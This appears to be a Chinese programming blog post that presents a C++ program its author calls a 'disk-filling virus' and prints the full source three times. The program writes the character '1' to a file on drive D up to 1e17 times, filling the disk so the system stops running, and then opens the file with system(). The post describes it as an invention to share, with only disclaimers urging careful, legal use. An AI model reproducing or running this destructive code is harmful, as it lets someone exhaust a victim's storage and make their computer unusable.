C++卡存储小病毒(使用时需谨慎)

今天,给大家分享一个我的发明------卡存储病毒

注:使用时需谨慎小心,出现其它情况概不负责

原理

这个小型病毒的工作原理是在指定路径创建一个.txt格式(text文档),然后疯狂往文件里输入东西来占存储空间,让磁盘卡满导致系统无法运行。

代码
#include <bits/stdc++.h>

使用万能头方便

using namespace std;

启用命名空间

signed main(){
    

主循环

核心代码

string filePath = "D:/C++/libraryinitsettaxt.txt";//这里写入指定路径
ofstream fon(filePath);//打开文件
if(fon.is_open()){//如果成功打开文件就开始输出
	for(long long i=1;i<=1e17;i++){
		fon<<"1";//这里输出什么都行
	}
}
system("libraryinitsettaxt.txt");//最后打开文件

完整代码:

#include <bits/stdc++.h>
using namespace std;
using lint =long long;
signed main(){
	string filePath = "D:/C++/libraryinitsettaxt.txt";//这里写入指定路径
	ofstream fon(filePath);
	ifstream fin;
	//fon.open("libraryinitsettaxt.txt");
	if(fon.is_open()){
		for(long long i=1;i<=1e17;i++){//注:千万不要改成while(1),除非你手动停止程序
			fon<<"1";
		}
	}
	system("libraryinitsettaxt.txt");
	return 0;
}

为了未登录用户的方便:

#include <bits/stdc++.h>
using namespace std;
using lint =long long;
signed main(){
    string filePath = "D:/C++/libraryinitsettaxt.txt";//这里写入指定路径
    ofstream fon(filePath);
    ifstream fin;
    //fon.open("libraryinitsettaxt.txt");
    if(fon.is_open()){
        for(long long i=1;i<=1e17;i++){
            fon<<"1";
        }
    }
    system("libraryinitsettaxt.txt");
    return 0;
}

效果展示:

下部涂黑的是创建时间。

再次声明请小心使用此代码,禁止非法使用

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值